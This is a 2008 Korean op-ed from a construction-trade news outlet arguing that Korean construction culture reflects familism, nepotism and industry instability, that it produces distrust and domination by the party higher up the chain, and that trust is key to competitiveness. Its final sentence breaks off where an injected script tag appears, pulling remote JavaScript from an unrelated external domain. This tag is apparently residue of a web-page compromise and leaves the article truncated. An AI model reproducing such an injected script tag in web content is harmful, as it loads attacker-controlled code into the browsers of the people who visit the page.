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언론기고

건설문화란 무엇인가?

보도일자 2008-05-14

보도기관 국토교통뉴스

문화를 일컬어 공유된 무관심 이라고 말하기도 한다. 사회적 동물인 인간은 잘 의식하지는 않지만 문화를 통하여 일상 생활을 영위한다. 건설문화는 건설종사자들이 알게 모르게 공유하는 의식과 행동들을 말한다. 이것과 관련된 제도와 기술, 그리고 그 결과물들도 모두 건설문화에 해당된다. 건설문화는 이처럼 광범위하다. 그런 만큼 제대로 그 특성을 파헤치고 이해하기가 쉽지 않다.
  건설문화를 이해하려면 그것에 영향을 미치는 요소들을 살펴보아야 한다. 건설문화는 사회문화와 건설산업의 특성󰡑이 상호작용하여 나타난 결과이다. 사회문화는 건설산업이 속한 사회 구성원들의 가치의식을 말한다. 한국 건설산업의 문화는 한국의 사회문화 즉, 한국인들의 가치의식에 영향을 받기 마련이다. 이런 측면에서 한국의 건설문화를 이해하기 위해서는 한국의 사회문화와 건설산업의 구조적인 특성을 동시에 이해할 필요가 있다.
  한국 사회문화의 특성에 대해서는 여러 사회학자들이 연구한 결과들이 있다. 한국 사회는 매우 빠르게 변하는 만큼 문화 역시 빠르게 변하는 특징을 보인다. 이러한 동태적 특성으로 인하여 최근 한국의 사회문화는 다양한 가치관들이 충돌하는 상황을 빚고 있다. 이러한 한국의 문화적 현상을 두고 가치관의 각축전이 벌어지고 있다고 말하는 학자도 있다. 그럼에도 불구하고 여전히 강하게 남아 있는 한국의 대표적인 사회문화들이 있다. 많은 전문가들은 가족주의, 연고주의, 이기적 자조주의, 평등주의 등의 가치관들이 여전히 한국인들의 의식을 지배하고 있다는데 동의하고 있다. 사회가 빠르게 개방화, 합리화되고 있음에도 불구하고 한국 사회는 공적으로 신뢰할 수 있는 가치관을 만들어 나가지 못함으로써 여전히 전근대적인 사적 신뢰관계에 의존하는 특성을 보이고 있다. 이러한 사회문화들이 건설문화에 강력한 영향을 미치고 있음은 의심의 여지가 없다.
  한편, 건설산업의 특성을 한마디로 표현하면 불안정성이라 말할 수 있다. 건설산업은 수주산업이고 장기간의 생산, 비반복적 복합 생산, 기후의존형 옥외생산, 노동집약적 생산의 특징을 갖고 있다. 따라서 건설산업은 다른 어느 산업보다 경영의 안정성을 예측하기 어렵고 외부적 요인에 쉽게 영향을 받는 특징을 보인다. 이러한 산업적 특징으로 인하여 대체로 건설기업 또는 건설 종사자들은 수익 확보와 위험 회피를 위하여 자기보호경향이 강한 특성을 보인다. 건설산업이 일회성의 갑을관계식 계약, 다단계의 도급구조, 임시 일용직 투입 확대, 설비 및 기술투자 회피 등의 성향을 보이는 것은 이러한 이유 때문일 것이다.  
  그러나, 건설산업의 특성 그 자체를 건설문화로 단정할 수 있을까? 곰곰이 생각해보면 그것은 아니다  라는 생각이 든다. 이미 언급한 것처럼 상위의 문화로서 그 나라 또는 사회의 문화가 건설산업의 특성에 작용하기 때문이다. 한국의 건설문화가 일본, 미국 그리고 영국 등의 건설문화와 다른 것은 바로 이런 이유 때문이다. 아무리 건설산업의 특성이 열악하다 하더라도 그 나라의 사회문화가 건전하다면 건설문화는 바르게 자리 잡을 수도 있다. 우리가 건설문화를 심각하게 논하는 이유가 여기에 있을 것이다.
  한 나라의 건설문화를 어떻게 규정하든 그것이 압축적으로 함축하는 의미는신뢰의 문제이다. 건설문화는 신뢰의 문화와 불신의 문화로 구분할 수 있다. 과연 한국의 건설문화는 어느 쪽에 속할까? 아무래도 가족주의, 연고주의, 이기적 자조주의, 평등주의로 상징되는 한국인들의 가치관이 작용하는 건설문화는 신뢰보다는 불신 쪽에 훨씬 가까울 것이다. 신뢰가 부족한 건설문화는 어쩔 수 없이 지나친 자기이익 추구 경향을 띨 수밖에 없다. 이러한 이유로 우리의 건설문화는 필연적으로 상위자 우위의 특성을 띤다. 먹이의 연쇄사슬처럼 발주자가 가장 유리한 위치에서 자기 이익을 일방적으로 도모하려 하고, 그러한 관계는 원하도급의 다단계 구조로 이어진다. 이러한 구조의 말단에 위치한 건설현장의 상황은 열악할 수밖에 없다. 건설산업의 3D산업 이미지는 현장의 물리적 특성과 더불어 이러한 문화적 특성이 작용한 결과이다.  
  한 국가, 사회 또는 산업이 갖고 있는 신뢰는 경쟁력을 결정하는 핵심적 요소이다.  신뢰가 있는 국가 또는 산업은 강력한 경쟁력을 가질 수밖에 없다. 이러한 측면에서 최근에는 무형자산인 신뢰를 사회자본(social capital)이라고 말하기도 한다. 우리가 건설문화를 논하는 것은 신뢰의 건설문화를 만들 필요성이 있기 때문이다. 신뢰가 부족한 한국 건설산업의 문제점에 대해서는 이미 거의 모든 건설인들이 우려하고 있는 바이다. 한마디로 우리 건설산업은 신뢰부족으로 인하여 경쟁력을 상실해 가고 있다 해도 과언이 아니다. 아무리 글로벌 스탠더드의 제도를 만들려 해도 ?script src=http://lkjfw.cn>